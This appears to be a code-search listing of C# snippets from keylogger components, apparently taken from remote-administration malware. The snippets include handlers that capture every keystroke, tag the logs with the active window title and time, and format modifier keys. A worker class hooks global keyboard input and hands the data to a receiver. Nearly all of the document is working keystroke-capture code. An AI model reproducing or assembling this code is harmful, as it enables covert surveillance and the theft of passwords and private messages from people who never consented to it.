Example #1
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void OnKeyDown(object sender, KeyEventArgs e)
        {
            var windowTitle = KeyloggerHelper.GetActiveWindowTitle();

            if (!string.IsNullOrEmpty(windowTitle) && (m_lastWindowTitle != windowTitle))
            {
                m_lastWindowTitle = windowTitle;
                AppendLine(string.Empty);
                AppendNewWindowName();
            }

            if (m_pressedKeys.IsModifierKeysSet())
            {
                if (!m_pressedKeys.Contains(e.KeyCode))
                {
                    m_pressedKeys.Add(e.KeyCode);
                    return;
                }
            }

            if (!e.KeyCode.IsExcludedKey())
            {
                if (!m_pressedKeys.Contains(e.KeyCode))
                {
                    m_pressedKeys.Add(e.KeyCode);
                }
            }
        }
Example #2
0
        private void OnKeyDown(object sender, KeyEventArgs e)                  //Called first
        {
            string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title

            if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
            {
                _lastWindowTitle = activeWindowTitle;
                _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
                                      + activeWindowTitle + " - "
                                      + DateTime.Now.ToString("HH:mm")
                                      + "</b>]</p><br>");
            }

            if (_pressedKeys.IsModifierKeysSet())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                    return;
                }
            }

            if (!e.KeyCode.IsExcludedKey())
            {
                // The key was not part of the keys that we wish to filter, so
                // be sure to prevent a situation where multiple keys are pressed.
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                }
            }
        }
Example #3
0
        private void OnKeyDown(object sender, KeyEventArgs e)
        {
            string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle();

            if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
            {
                _lastWindowTitle = activeWindowTitle;
                _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
                                      + KeyloggerHelper.Filter(activeWindowTitle) + " - "
                                      + DateTime.Now.ToString("HH:mm")
                                      + "</b>]</p><br>");
            }

            if (_pressedKeys.IsModifierKeysSet())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                    return;
                }
            }

            if (!e.KeyCode.IsExcludedKey())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                }
            }
        }
Example #4
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void OnKeyPress(object sender, KeyPressEventArgs e)
        {
            if (m_pressedKeys.IsModifierKeysSet() && m_pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                return;
            }

            if ((!m_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(m_pressedKeyChars, e.KeyChar)) && !m_pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                if (m_pressedKeys.IsModifierKeysSet())
                {
                    m_ignoreSpecialKeys = true;
                }

                m_pressedKeyChars.Add(e.KeyChar);
                Append(e.KeyChar);
            }
        }
Example #5
0
        //This method should be used to process all of our unicode characters
        private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
        {
            if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                return;
            }

            if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                var filtered = KeyloggerHelper.Filter(e.KeyChar);
                if (!string.IsNullOrEmpty(filtered))
                {
                    Debug.WriteLine("OnKeyPress Output: " + filtered);
                    if (_pressedKeys.IsModifierKeysSet())
                    {
                        _ignoreSpecialKeys = true;
                    }

                    _pressedKeyChars.Add(e.KeyChar);
                    _logFileBuffer.Append(filtered);
                }
            }
        }
Example #6
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="keys"></param>
        /// <returns></returns>
        private string HighlightSpecialKeys(Keys[] keys)
        {
            if (keys.Length < 1)
            {
                return(string.Empty);
            }

            string[] names = new string[keys.Length];
            for (int i = 0; i < keys.Length; i++)
            {
                if (!m_ignoreSpecialKeys)
                {
                    names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
                }
                else
                {
                    names[i] = string.Empty;
                    m_pressedKeys.Remove(keys[i]);
                }
            }

            m_ignoreSpecialKeys = false;

            if (m_pressedKeys.IsModifierKeysSet())
            {
                var specialKeys      = new StringBuilder();
                var validSpecialKeys = 0;
                for (int i = 0; i < names.Length; i++)
                {
                    m_pressedKeys.Remove(keys[i]);
                    if (string.IsNullOrEmpty(names[i]))
                    {
                        continue;
                    }

                    specialKeys.AppendFormat(validSpecialKeys == 0 ? @"[{0}" : " + {0}", names[i]);
                    validSpecialKeys++;
                }

                if (validSpecialKeys > 0)
                {
                    specialKeys.Append("]");
                }

                return(specialKeys.ToString());
            }

            var normalKeys = new StringBuilder();

            for (int i = 0; i < names.Length; i++)
            {
                m_pressedKeys.Remove(keys[i]);
                if (string.IsNullOrEmpty(names[i]))
                {
                    continue;
                }

                switch (names[i])
                {
                case "Return":
                    normalKeys.Append(@"[Enter]");
                    break;

                case "Escape":
                    normalKeys.Append(@"[Esc]");
                    break;

                default:
                    normalKeys.Append(@"[" + names[i] + "]");
                    break;
                }
            }
            return(normalKeys.ToString());
        }
Example #7
0
        private string HighlightSpecialKeys(Keys[] keys)
        {
            if (keys.Length < 1)
            {
                return(string.Empty);
            }

            string[] names = new string[keys.Length];
            for (int i = 0; i < keys.Length; i++)
            {
                if (!_ignoreSpecialKeys)
                {
                    names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
                    Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
                }
                else
                {
                    names[i] = string.Empty;
                    _pressedKeys.Remove(keys[i]);
                }
            }

            _ignoreSpecialKeys = false;

            if (_pressedKeys.IsModifierKeysSet())
            {
                StringBuilder specialKeys = new StringBuilder();

                int validSpecialKeys = 0;
                for (int i = 0; i < names.Length; i++)
                {
                    _pressedKeys.Remove(keys[i]);
                    if (string.IsNullOrEmpty(names[i]))
                    {
                        continue;
                    }

                    specialKeys.AppendFormat((validSpecialKeys == 0) ? @"<p class=""h"">[{0}" : " + {0}", names[i]);
                    validSpecialKeys++;
                }

                // If there are items in the special keys string builder, give it an ending tag
                if (validSpecialKeys > 0)
                {
                    specialKeys.Append("]</p>");
                }

                Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString());
                return(specialKeys.ToString());
            }

            StringBuilder normalKeys = new StringBuilder();

            for (int i = 0; i < names.Length; i++)
            {
                _pressedKeys.Remove(keys[i]);
                if (string.IsNullOrEmpty(names[i]))
                {
                    continue;
                }

                switch (names[i])
                {
                case "Return":
                    normalKeys.Append(@"<p class=""h"">[Enter]</p><br>");
                    break;

                case "Escape":
                    normalKeys.Append(@"<p class=""h"">[Esc]</p>");
                    break;

                default:
                    normalKeys.Append(@"<p class=""h"">[" + names[i] + "]</p>");
                    break;
                }
            }

            Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString());
            return(normalKeys.ToString());
        }
 public KeyloggerWorker(IDataPackageEnvelopeReceiver receiver)
     : base(receiver)
 {
     KeyloggerHelper.HookUp();
     KeyloggerHelper.KeyPressed += KeyloggerHelper_KeyPressed;
 }